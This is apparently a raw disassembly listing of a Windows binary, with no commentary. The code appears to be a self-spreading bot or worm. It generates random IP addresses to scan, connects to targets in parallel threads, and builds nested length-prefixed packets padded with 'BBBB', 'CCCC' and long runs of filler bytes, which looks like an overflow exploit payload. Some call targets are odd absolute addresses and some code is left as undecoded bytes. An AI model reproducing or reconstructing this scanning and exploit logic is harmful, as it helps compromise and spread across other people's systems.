call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 2670678h nop push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A7C push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A54 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431414[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2660000h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26C0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26C06BEh push 80000400h push esi nop call near ptr 26C053Ah test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B60 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B2C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2660882h push eax lea eax, [ebp+var_1CC] push offset unk_431AF4 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AB4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26C06BEh loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B94 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BBC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 225397Bh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 41D2E8FCh, 0FF900223h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 1068FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h dd 225388Bh, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 22340E0h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0E468FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8F0 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C50 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FCC lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C54 lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FC0 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FBC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB8 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FAC lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FA7+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] 